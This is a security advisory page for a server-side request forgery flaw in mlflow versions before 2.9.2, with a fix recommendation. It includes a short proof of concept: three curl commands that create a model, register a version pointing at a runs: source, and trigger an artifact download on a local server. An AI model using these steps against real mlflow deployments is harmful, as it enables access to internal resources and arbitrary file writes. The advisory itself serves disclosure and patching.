Server-Side Request Forgery (SSRF) Affecting mlflow package, versions [,2.9.2)


Severity

Recommended
0.0
high
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of concept
EPSS
0.3% (71st percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications

Snyk Learn

Learn about Server-Side Request Forgery (SSRF) vulnerabilities in an interactive lesson.

Start learning
  • Snyk IDSNYK-PYTHON-MLFLOW-6134595
  • published21 Dec 2023
  • disclosed20 Dec 2023
  • creditMizu

Introduced: 20 Dec 2023

CVE-2023-6974  (opens in a new tab)
CWE-918  (opens in a new tab)

How to fix?

Upgrade mlflow to version 2.9.2 or higher.

Overview

mlflow is a platform to streamline machine learning development, including tracking experiments, packaging code into reproducible runs, and sharing and deploying models.

Affected versions of this package are vulnerable to Server-Side Request Forgery (SSRF) by exploiting the redirect behavior of the default HTTP protocol inside an http or runs: wrapper. An attacker can access internal resources and achieve arbitrary file writes by triggering the _download_file() function in HttpArtifactRepository.

PoC

  1. Create a model:
curl -X POST -H 'Content-Type: application/json' -d '{"name": "poc"}' 'http://127.0.0.1:5000/ajax-api/2.0/mlflow/registered-models/create'
  1. Create a model version:
curl -X POST -H 'Content-Type: application/json' -d '{"name": "poc", "source": "runs:/b0895f2dd7cc4e56aa132acd2b47fe41/a"}' 'http://127.0.0.1:5000/ajax-api/2.0/mlflow/model-versions/create'
  1. Trigger a download of the payload:
curl 'http://127.0.0.1:5000/model-versions/get-artifact?path=whatever&name=poc&version=1'

References

CVSS Scores

version 3.1